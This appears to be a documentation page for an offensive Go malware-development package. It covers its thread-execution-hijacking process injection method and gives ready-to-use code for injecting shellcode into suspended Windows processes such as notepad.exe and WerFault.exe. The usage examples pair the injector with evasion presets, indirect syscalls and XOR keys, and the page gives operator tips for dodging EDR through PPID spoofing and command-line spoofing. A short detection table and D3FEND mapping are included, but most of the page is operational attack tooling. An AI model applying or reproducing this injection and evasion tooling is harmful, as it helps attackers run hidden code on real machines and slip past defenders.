Thread execution hijacking
← injection index · docs/index
TL;DR
Spawn a CREATE_SUSPENDED child, allocate + write + protect shellcode
in its address space, then mutate its main thread's saved register
state so RIP points at the shellcode before resuming. No new thread,
no APC — the existing thread is redirected at the CPU-context
level. Stealth tier: medium; the trade-off is a NtSetContextThread
on a non-debugger flow, which EDR specifically watches.
Primer
CreateRemoteThread creates a new thread; EarlyBird queues an APC.
Thread Execution Hijacking does neither — it abuses the fact that
Windows lets a debugger (or anything with THREAD_GET_CONTEXT | THREAD_SET_CONTEXT) pause a thread, read its full register file, edit
the instruction pointer, write the registers back, and resume. The
implant takes the same path: pause → read CONTEXT → write Rip to the
shellcode address → write back → ResumeThread.
The result is that the sacrificial child's main thread starts running
at the shellcode address instead of the original entry point. No
Create*Thread* event ever fires. The trade-off is the
NtSetContextThread system call, which is unusual outside debugger
workflows and is itself instrumented by every modern EDR.
The legacy alias MethodProcessHollowing points at this technique;
genuine PE hollowing (overwriting the child's image with a different
PE) is not implemented in this package.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Child as "Child (suspended)"
Impl->>Kern: CreateProcess(CREATE_SUSPENDED)
Kern->>Child: process + main thread, frozen
Kern-->>Impl: hProcess, hThread
Impl->>Kern: NtAllocateVirtualMemory(RW)
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Impl->>Kern: NtProtectVirtualMemory(RX)
Impl->>Kern: NtGetContextThread(hThread)
Kern-->>Impl: CONTEXT (Rip = original entry)
Impl->>Impl: ctx.Rip = remoteAddr
Impl->>Kern: NtSetContextThread(hThread, ctx)
Kern->>Child: thread Rip rewritten
Impl->>Kern: ResumeThread(hThread)
Child->>Child: thread runs at shellcode address
Steps:
- Spawn the sacrificial child suspended.
- Allocate / write / protect the shellcode in the child.
- Get the main thread's CONTEXT (
NtGetContextThread) — note that the kernel returns the saved register file because the thread is suspended. - Mutate
ctx.Rip(orEipon x86) to the shellcode address. - Set the modified CONTEXT back (
NtSetContextThread). - Resume the thread.
API Reference
Method = MethodThreadHijack
The constant "threadhijack". Pass to Config.Method or
InjectorBuilder.Method.
Legacy alias MethodProcessHollowing
const MethodProcessHollowing = MethodThreadHijack
[!WARNING] The name is historical. This is Thread Execution Hijacking (T1055.003), not PE Hollowing (T1055.012). Prefer
MethodThreadHijackin new code.
WindowsConfig.ProcessPath
Path to the sacrificial child (default notepad.exe). Required for
this method.
inject.NewWindowsInjector(cfg *WindowsConfig) (Injector, error)
Builder pattern
inj, err := inject.Build().
Method(inject.MethodThreadHijack).
ProcessPath(`C:\Windows\System32\RuntimeBroker.exe`).
IndirectSyscalls().
Create()
Examples
Simple
cfg := &inject.WindowsConfig{
Config: inject.Config{
Method: inject.MethodThreadHijack,
ProcessPath: `C:\Windows\System32\notepad.exe`,
},
}
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)
Composed (indirect syscalls, hardened sacrificial parent)
inj, err := inject.Build().
Method(inject.MethodThreadHijack).
ProcessPath(`C:\Windows\System32\RuntimeBroker.exe`).
IndirectSyscalls().
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Advanced (preset evasion + thread hijack)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
)
_ = evasion.ApplyAll(preset.Stealth(), nil)
inj, err := inject.Build().
Method(inject.MethodThreadHijack).
ProcessPath(`C:\Windows\System32\WerFault.exe`).
IndirectSyscalls().
Use(inject.WithXORKey(0xA5)).
Create()
if err != nil { return err }
return inj.Inject(shellcode)
Complex (Pipeline equivalent)
Pipeline does not have a packaged ThreadHijackExecutor (it would
need a saved CONTEXT and a thread handle); the named-method path is
the supported one. For experimental setups, replicate the logic in
inject/injector_remote_windows.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
CREATE_SUSPENDED child of an unusual parent | Sysmon Event 1 (CreationFlags) |
NtSetContextThread on a thread of a freshly-spawned process | EDR-Ti providers, userland hooks. Outside debugger workflows this is a high-fidelity signal |
Cross-process NtWriteVirtualMemory | EDR userland + ETW |
Modified Rip in CONTEXT pointing into a non-image-backed region | EDR memory scanners on the child |
| Process tree mismatch | notepad.exe child of a non-explorer.exe parent |
D3FEND counters:
- D3-PSA
—
CREATE_SUSPENDED+ register mutation is the textbook hollowing-family chain. - D3-PCSV
— verifies thread
Ripagainst image segments.
Hardening for the operator: route NT calls through indirect syscalls; pair with PPID spoofing; choose a sacrificial process whose own initialisation does not race the shellcode (avoid heavyweight binaries that spawn workers immediately).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.003 | Process Injection: Thread Execution Hijacking | suspended-child variant | D3-PSA |
Limitations
- x64 only in the current implementation (
CONTEXT.Rip). x86 would needEipand a differentCONTEXTflags mask. - Original entry point never runs. The sacrificial process never
reaches its real
main. If the shellcode does not hand control back, the child appears to have started and immediately died — a small but non-zero behavioural anomaly. NtSetContextThreadis high-signal. EDRs that miss theCREATE_SUSPENDEDflag still catch the context modification. Direct/indirect syscalls help against userland hooks but not against ETW-Ti.- Race-prone for fast spawns. Some sacrificial binaries
(
csrss.exeadjacents, lightly-instrumented processes) finish initial setup beforeNtGetContextThreadreturns. Stick to well-behaved utilities.
See also
- Early Bird APC — same suspended-child shape, uses an APC instead of register mutation.
- CreateRemoteThread — the loud baseline.
- Process Argument Spoofing — pair to mask the child's command line as a benign tool.
process/spoofparent— pair to set a realistic parent for the sacrificial child.- SafeBreach Labs, Process Hollowing & Doppelgänging, 2017 — taxonomy of register-mutation injection.